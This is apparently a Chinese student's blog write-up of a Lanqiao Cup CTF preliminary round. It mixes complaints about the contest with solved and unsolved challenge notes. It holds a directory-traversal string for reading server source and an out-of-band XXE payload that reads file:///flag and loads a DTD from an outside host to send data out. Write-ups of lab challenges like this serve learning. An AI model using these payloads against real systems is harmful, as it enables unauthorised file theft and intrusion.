先吐槽一波:初赛不让上网查资料是人打的嘛,真就初赛即决赛???还不是传统出题法,你那堆分类谁第一眼能看出来是什么题目啊???

我不信这比赛没有人用黄色版 CTF-all-in-One 好吧,一题出来了以后一堆人跟着出,一分钟内零解题出 5 个人是吧

然后说是不让用网,结果又发通知说有一题可以用 =-=

好好好玩我呢是吧

累了,事不过三,以后不报蓝桥了。蓝桥参加第三次了,前两次 Python 算法,今年第一次参加网安,太抽象了

我 TM 周末早八起来到底是为了啥哟 (┬_┬)

我的评价是:不如 CCSSSC,人平台虽然屎但是人比赛办的还不错啊,建议你下次别办

【数据分析】flowzip

There are many zip files.

打开流量包发现大量 HTTP 请求,里面包含 100 个 zip 文件

高端的食材,往往只需要最朴素的烹饪方式

直接用 strings 提取

1
$ strings .\flowzip.pcapng | grep flag

得到

1
jpkwz.txtflag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}PK

所以 flag 为 flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}

【数据分析】ezEvtx

EVTX文件是Windows操作系统生成的事件日志文件,用于记录系统、应用程序和安全事件。

(本题需要选手找出攻击者访问成功的一个敏感文件,提交格式为flag{文件名},其中文件名不包含文件路径,且包含文件后缀)

用 ELX 打开,搜索 access an object 就得到了

访问的文件为 C:\Admin\confidential.docx,所以 flag 为 flag{confidential.docx}

【情报收集】黑客密室逃脱

你被困在了顶级黑客精心设计的数字牢笼中,每一道关卡都暗藏致命陷阱!唯一的逃脱之路,是破解散落在服务器各处的加密线索,找到最终的“数字钥匙”。

开局让我们看日志

访问得到线索

线索1:d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1

秘密区域告诉我们有文件读取

输入 /file?name=../../../../../../app/app.py 得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import os
from flask import Flask, request, render_template
from config import *
# author: gamelab

app = Flask(__name__)

# 模拟敏感信息
sensitive_info = SENSITIVE_INFO

# 加密密钥
encryption_key = ENCRYPTION_KEY

def simple_encrypt(text, key):
encrypted = bytearray()
for i in range(len(text)):
char = text[i]
key_char = key[i % len(key)]
encrypted.append(ord(char) + ord(key_char))
return encrypted.hex()

encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)

# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"

# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"

# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
f.write(hidden_file_content)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/logs')
def logs():
return render_template('logs.html', log_content=log_content)

@app.route('/secret')
def secret():
return render_template('secret.html')

@app.route('/file')
def file():
file_name = request.args.get('name')
if not file_name:
return render_template('no_file_name.html')
full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
return render_template('no_premission.html')
try:
with open(full_path, 'r') as f:
content = f.read()
return render_template('file_content.html', content=content)
except FileNotFoundError:
return render_template('file_not_found.html')

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')

debug = True,想访问 /console,打不开

看到有 hidden.txt

1
2
3
4
# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
f.write(hidden_file_content)

得到解密密钥

根据题目给的 simple_encrypt 函数

1
2
3
4
5
6
7
def simple_encrypt(text, key):
encrypted = bytearray()
for i in range(len(text)):
char = text[i]
key_char = key[i % len(key)] # key=secret_key7434 len(key)=14 key_char=从左到右依次取
encrypted.append(ord(char) + ord(key_char))
return encrypted.hex()

自己写一个解密的脚本

1
2
3
4
5
6
7
8
9
10
11
12
SECRET = bytearray.fromhex('d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1')

key = "secret_key7434"

decrypted = bytearray()

for i in range(len(SECRET)):
char = SECRET[i]
key_char = key[i % len(key)]
decrypted.append(char - ord(key_char))

print(decrypted)

解出来得到 flag

flag{6d037fe6-0329-449a-b529-71142b80a470}

【数据库安全】crawler(未出)

一个简单的爬虫系统,测测它的安全问题吧!

是一个用 PHP 写的系统,Cookie 里面有 PHPSESSID

打开是个登录页面,发现只有使用用户名为 admin 登录的时候会弹提示为 ❌ 用户名或密码错误,其他用户名都是 ❌ 登录失败

爆破不出来,尝试一下 sql 注入,用 sqlmap 浅浅测一下,发现 sqlmap 说无法注入

那好吧,我确实没思路了

【密码破解】easy_AES(未出)

题目采用的是传统的AES加密,但是其中的key似乎可以通过爆破得到,你能找到其中的问题,解密出敏感数据吗?

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Cipher import AES  # 导入AES加密模块
from secret import flag # 从secret模块导入flag(假设为明文)
import random, os # 导入random和os模块用于随机数生成

# 为消息填充字节,使其长度为16的倍数
def pad(msg):
return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])

# 对密钥进行随机置换,生成新密钥
def permutation(key):
tables = [hex(_)[2:] for _ in range(16)] # 生成0-15的十六进制表(去掉"0x"前缀)
random.shuffle(tables) # 随机打乱表
newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key))) # 根据原密钥生成新密钥
return newkey

# 生成初始密钥key0及其置换密钥key1
def gen():
key0 = os.urandom(16).hex() # 随机生成16字节密钥并转为十六进制字符串
key1 = permutation(key0) # 对key0进行置换生成key1
return key0, key1

# 使用key0和key1进行双重AES加密
def encrypt(key0, key1, msg):
aes0 = AES.new(key0, AES.MODE_CBC, key1) # 用key0加密,key1作为CBC模式的IV
aes1 = AES.new(key1, AES.MODE_CBC, key0) # 用key1解密,key0作为CBC模式的IV
return aes1.decrypt(aes0.encrypt(msg)) # 先加密后解密生成密文

# 生成密钥对
key0, key1 = gen()
a0, a1 = int(key0, 16), int(key1, 16) # 将密钥转为整数

gift = a0 & a1 # 计算key0和key1的按位与,作为泄露信息
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag)) # 加密填充后的flag

print(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")

'''
gift = 64698960125130294692475067384121553664
key1 = 74aeb356c6eb74f364cd316497c0f714
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
'''

出题人是不是懒得写代码了,这代码 AI 味也太浓了,连 (假设为明文) 都出来了(第二行)

首先可以看到题目生成了一对密钥,其中 key0 是随机生成的,key1 是通过 key0 中的内容随机编排而成的

然后再加密解密的过程中,key0 和 key1 会分别作为密钥和向量 iv 进行加解密,过程大概是

对 msg 用 key=key0, iv=key1 进行 AES 加密,在对结果用 key=key1, iv=key0 进行 AES 解密,得到了题目给我们的 cipher

cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'

所以如果要反着来,就得要用 key=key1, iv=key0 先进行 AES 加密,再对其结果用 key=key0, iv=key1 进行 AES 解密才能得到我们的明文

然后现在的问题是 key0 未知,题目说可以爆破,但是题目给的条件说实话我不太会用

题目给了个 gift,然后这个 gift 是通过 a0 & a1 产生的(按位与)

然后?就么有然后了……真不会利用这个 gift

【密码破解】ECBTrain(未出)

AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战?

题目给了容器,nc 进去有注册、登录、退出三个选项

1
2
3
4
5
6
7
8
9
10
11
12
13
╰─  nc 39.105.2.63 20628
_____ _____ ______ _____ _
| ___/ __ \| ___ \_ _| (_)
| |__ | / \/| |_/ / | |_ __ __ _ _ _ __
| __|| | | ___ \ | | '__/ _` | | '_ \
| |___| \__/\| |_/ / | | | | (_| | | | | |
\____/ \____/\____/ \_/_| \__,_|_|_| |_|

请选择操作:
1. 注册
2. 登录
3. 退出
请输入选项编号:

其中,注册不能够以用户名 admin 注册,我先用用户名 user,密码 123 注册得到

1
2
3
4
请输入选项编号: 1
请输入用户名: user
请输入密码: 123
注册成功!你的auth为: eHDaWi860uwUt/Khad7iSw==

而当我用登录,会这么说

1
2
3
4
5
6
7
8
9
请选择操作:
1. 注册
2. 登录
3. 退出
请输入选项编号: 2
若是能以admin身份登录就给你flag。
请输入auth: eHDaWi860uwUt/Khad7iSw==
登录成功!
你是以 user 身份登录

也就是说登录跟密码一点关系都没有,我们要做的是利用 ECB 模式的缺陷,使得我们的 auth 变成 admin 的 auth

那么问题来了 ECB 的缺陷是什么???(不让上网查呀我没办法呀)

【密码破解】Enigma(未出)

Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备,旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合,通过复杂的电路转换实现对明文的加密与解密。

(本题需要选手还原成原文字母,提交格式为flag{原文字母},其中原文字母为全英文大写,且去掉空格。)

布什戈门?这 tm 是个啥哟???

题目给了一个 html 文件,打开是赛博厨子(设定好的)

没懂这是什么原理,又不让查,下一个

【漏洞挖掘分析】星际XML解析器(未出)

你已进入星际数据的世界,输入XML数据,启动解析程序,探索未知的数据奥秘!

打开是一个网页

确实实现了 xml 的解析,我开始在想是不是 XXE(因为 ADCTF 做过一道 XXE),先浅浅地拿 ADCTF 的 payload 来试试(虽然远程文件不存在)

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "https://org.bili33.top/CTFTMP/try.dtd">
%dtd;
%send;
]>
<reg><name>11</name><tel>22</tel><email>33</email></reg>

然后就报错了

看来并不是 XXE 那一套,还是不给查,我也没办法

【逆向分析】ShadowPhases(未出)

在调查一起跨国数据泄露事件时,你的团队在暗网论坛发现一组被称作’三影密匣’的加密缓存文件。据匿名线报,这些文件采用上世纪某情报机构开发的“三重影位算法”,关键数据被分割为三个相位,每个相位使用不同的影位密钥混淆。威胁分析显示,若不能在48小时内还原原始信息,某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示:’相位间存在密钥共鸣,但需警惕内存中的镜像陷阱..

先惯例拖进 IDA 看看有没有什么线索,但是我没看出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
int __fastcall main(int argc, const char **argv, const char **envp)
{
char Str1[128]; // [rsp+30h] [rbp-50h] BYREF
char Str2[128]; // [rsp+B0h] [rbp+30h] BYREF
void *v6; // [rsp+130h] [rbp+B0h]
void *v7; // [rsp+138h] [rbp+B8h]
void *v8; // [rsp+140h] [rbp+C0h]
void *v9; // [rsp+150h] [rbp+D0h]
void *v10; // [rsp+158h] [rbp+D8h]
void *v11; // [rsp+160h] [rbp+E0h]
char v12[13]; // [rsp+16Eh] [rbp+EEh] BYREF
char v13[15]; // [rsp+17Bh] [rbp+FBh] BYREF
char Src[5]; // [rsp+18Ah] [rbp+10Ah] BYREF
char v15[9]; // [rsp+18Fh] [rbp+10Fh] BYREF
void *v16; // [rsp+198h] [rbp+118h]
void *v17; // [rsp+1A0h] [rbp+120h]
void *Block; // [rsp+1A8h] [rbp+128h]
char v19[6]; // [rsp+1B2h] [rbp+132h] BYREF
size_t v20; // [rsp+1B8h] [rbp+138h]
size_t v21; // [rsp+1C0h] [rbp+140h]
size_t Size; // [rsp+1C8h] [rbp+148h]

sub_401B10();
Src[0] = 0; // src = [0, 5, -125, 0x80, -114]
Src[1] = 5;
Src[2] = -125;
Src[3] = 0x80;
Src[4] = -114;
strcpy(v15, "+");
v15[2] = -125; // v15 = ["+", -125, 47, -86, 43, -127, -88, -91]
v15[3] = 47;
v15[4] = -86;
v15[5] = 43;
v15[6] = -127;
v15[7] = -88;
v15[8] = -91;
Size = 14i64;
v13[0] = 19; // v13 = [19, 57, -66, -66, -76, 56, -72, -70, -69, -96, 62, -112, 58, -70, -76]
v13[1] = 57;
v13[2] = -66;
v13[3] = -66;
v13[4] = -76;
v13[5] = 56;
v13[6] = -72;
v13[7] = -70;
v13[8] = -69;
v13[9] = -76;
v13[10] = 62;
v13[11] = -112;
v13[12] = 58;
v13[13] = -70;
v13[14] = -76;
v21 = 15i64;
v12[0] = -117; // v12 = [-117, -119, 3, 4, -120, -117, 32, 9, 34, -120, 8, -115, -120, -81]
v12[1] = -119;
v12[2] = 34;
v12[3] = -120;
v12[4] = -117;
v12[5] = 32;
v12[6] = 9;
v12[7] = 34;
v12[8] = -120;
v12[9] = 8;
v12[10] = -115;
v12[11] = -120;
v12[12] = -81;
v20 = 13i64;
v19[5] = -103; // v19 = ['"', "D", "f", -1, -35, -103]
v19[4] = -35;
v19[3] = -1;
qmemcpy(v19, "\"Df", 3);
Block = malloc(0xFui64);
v17 = malloc(v21 + 1);
v16 = malloc(v20 + 1);
if ( !Block || !v17 || !v16 )
{
puts(&Buffer);
exit(1);
}
memcpy(Block, Src, Size);
memcpy(v17, v13, v21);
memcpy(v16, v12, v20);
sub_4015B6((__int64)Block, Size, v19[2]);
sub_4015B6((__int64)v17, v21, v19[1]);
sub_4015B6((__int64)v16, v20, v19[0]);
*((_BYTE *)Block + Size) = 0;
*((_BYTE *)v17 + v21) = 0;
*((_BYTE *)v16 + v20) = 0;
v9 = v17;
v10 = v16;
v11 = Block;
v6 = Block;
v7 = v17;
v8 = v16;
sub_401550(Str2, 0x80ui64, "%s%s%s", (const char *)Block, (const char *)v17, (const char *)v16);
printf(&Format);
scanf("%127s", Str1);
if ( !strcmp(Str1, Str2) )
puts(&byte_40502A);
else
puts(&byte_405031);
free(Block);
free(v17);
free(v16);
return 0;
}

【逆向分析】BashBreaker(未出)

赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前,将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议,唯有通过15枚光子硬币的智慧试炼,才能唤醒沉睡的实验室AI。

简单来说这就是在 15 步的步程内,双方都可以选择走 1~3 步,谁先走到终点谁就赢了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5[2]; // [rsp+2Ch] [rbp-14h] BYREF
unsigned int i; // [rsp+34h] [rbp-Ch]
int v7; // [rsp+38h] [rbp-8h]
int v8; // [rsp+3Ch] [rbp-4h]

_main(argc, argv, envp);
v8 = 15;
v3 = time(0i64);
srand(v3);
puts("You want my treasure? You can have it all if you want it. Go find it! I hid the treasure chest in the program");
puts("Number of remaining steps: 15 | 1 to 3 steps per round | The first one to get to the KEY\n");
v5[1] = 0;
while ( v8 > 0 )
{
printf("Remaining steps: [%d]\n", (unsigned int)v8);
do
{
printf("Number of steps (1-3): ");
while ( scanf("%d", v5) != 1 )
{
printf("Input error, please re-enter: ");
while ( getchar() != 10 )
;
}
if ( v5[0] > 0 && v5[0] <= 3 )
{
if ( v8 < v5[0] )
printf(aNotEnoughSteps, (unsigned int)v8);
}
else
{
puts(aMustTake13Step);
}
}
while ( v5[0] <= 0 || v5[0] > 3 || v8 < v5[0] );
v8 -= v5[0];
printf("* Player walks %d steps, remaining %d\n\n", (unsigned int)v5[0], (unsigned int)v8);
if ( v8 <= 0 )
{
full_decrypt();
puts("This is your KEY. You deserve it ! !");
for ( i = 0; i <= 0x2F; ++i )
printf("%02X", real_key[i]);
break;
}
v7 = calculate_best_move((unsigned int)v8);
if ( v7 <= 0 || v7 > 3 )
v7 = 1;
if ( v7 > v8 )
v7 = v8;
v8 -= v7;
printf("* The AI takes %d steps, remaining %d\n\n", (unsigned int)v7, (unsigned int)v8);
if ( v8 <= 0 )
puts("This treasure does not belong to you. Go back, Boy");
}
printf("\nGame over ! ");
system("pause");
return 0;
}

calculate_best_move 函数中能够看到对手的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall calculate_best_move(int a1)
{
if ( a1 <= 0 )
return 0i64;
if ( a1 % 4 )
return (unsigned int)(a1 % 4);
if ( a1 == 4 )
return 3i64;
if ( a1 == 8 )
return 3i64;
return (unsigned int)(rand() % 3 + 1);
}

如果剩余的步数小于等于 0,返回 0;如果 a1 % 4 != 0,就返回余数,如果 a1 == 4 或者 a1 == 8,就返回 3,其他时候返回一个随机的步数

我相信这一题肯定不会是让你真的来做完这个游戏的,但是我也不知道咋做

【漏洞挖掘分析】RuneBreach(未出)

你是一名穿越到异世界的勇者,正面临最终决战!邪恶的 Boss 即将占领你的王国,唯一的机会就是利用传说中的“漏洞之剑”击败它。

然而,Boss 在战场上布下了魔法沙箱结界,禁止你使用常规的“召唤术”!你必须找到结界中的弱点,注入符文,才能给予 Boss 致命一击!

这个题目里面说到”魔法沙箱结界”,我在想是不是沙箱逃逸

拖进 IDA 看一眼,在函数 battle_loop 里面有战斗相关的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void __noreturn battle_loop()
{
unsigned int v0; // eax
char v1; // [rsp+3h] [rbp-1Dh]
int v2; // [rsp+4h] [rbp-1Ch]
unsigned int v3; // [rsp+8h] [rbp-18h]
int v4; // [rsp+10h] [rbp-10h]
int v5; // [rsp+18h] [rbp-8h]

v4 = 100;
v5 = 150;
v2 = 1;
puts("\n==== BOSS BATTLE START ====");
while ( 1 )
{
v0 = v2++;
printf("\n-- Round %d --\n", v0);
printf("Player HP: %d | Boss HP: %d\n", (unsigned int)v4, (unsigned int)v5);
v3 = (int)(((double)v4 / 200.0 + 0.5) * (double)20);
printf("You attack! Damage: %d\n", v3);
v5 -= v3;
if ( v5 <= 0 )
break;
printf("\nDefend? (y/N): ");
v1 = getchar();
while ( getchar() != 10 )
;
if ( v1 == 121 || v1 == 89 )
{
v4 -= 7;
printf("You defend! Damage reduced: %d\n", 15LL);
}
else
{
v4 -= 30;
printf("No defense! Damage taken: %d\n", 30LL);
}
if ( v4 <= 0 )
{
puts("\n[System] Game Over...");
boss_victory();
exit(0);
}
}
puts("\n[System] Boss defeated!");
victory_message();
exit(0);
}

然后如果打败了 Boss,会让你说胜利宣言,此时在 victory_message 函数里面获取输入用的是 gets

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 victory_message()
{
char v1[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[System] Enter victory comment: ");
gets(v1);
printf("Your comment: %s\n", v1);
return __readfsqword(0x28u) ^ v2;
}

然后 v1 的长度是 40,所以暂且认为这里有一个栈溢出

然后再看输了的逻辑,Boss 会说这块领地是它的了,然后会告诉你这块领地(内存)的地址(但其实程序最开始也告诉你了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 boss_victory()
{
void *addr; // [rsp+0h] [rbp-10h]

addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000LL);
if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7) == -1 )
{
perror("mprotect failed");
exit(1);
}
printf("[BOSS] Your place is mine now %p!\n", addr);
printf("[BOSS] Say your last word to your territory: ");
read(0, addr, 1056uLL);
return ((__int64 (*)(void))addr)();
}

这里用的是 read 读取,看起来没有什么可以用的,而且 addr 是一个指针

所以大概率能利用的是那个栈溢出,但是我没有找到 vuln 那种可利用的函数

【漏洞挖掘分析】Jdbc_once(未出)

Fenjing是一款为CTF比赛设计的自动化脚本,专注于Jinja SSTI漏洞利用,旨在绕过WAF。它能自动攻击指定网站或接口,省去手动测试和fuzz WAF的时间。通过智能生成payload,支持编码混淆、字符替换等绕过技术。来用Fenjing测一测你的网站是否存在安全问题吧。

(题目同时开放了8888端口和80端口,该题目允许使用互联网辅助答题,不允许使用AI作答)

这就是公告里面说可以查的那一体,焚靖确实可以自动化测 SSTI,打开题目提供的 8888 端口就是一个焚靖,但是如果我们直接访问 80 端口就会被拦住,提示 Only 127.0.0.1,而我修改标头也没有绕过这一点

但是用焚靖就可以访问

没明白这题想要干嘛,说实话

总结

我太菜了(呜呜呜

蓝桥初赛断网抽象归抽象,但说到底还是有点储备不足了……咱确实也不是全栈爷 =-=

但是但是,事不过三,蓝桥肯定不会有下一次了,我绝对不会再报蓝桥了,本来是想要弄点比赛加分才打的,但是后面发现这玩意在我们学校加分挺少的,而且报个名还有 300 块,所以肯!定!不!会!再!有!下!次!了!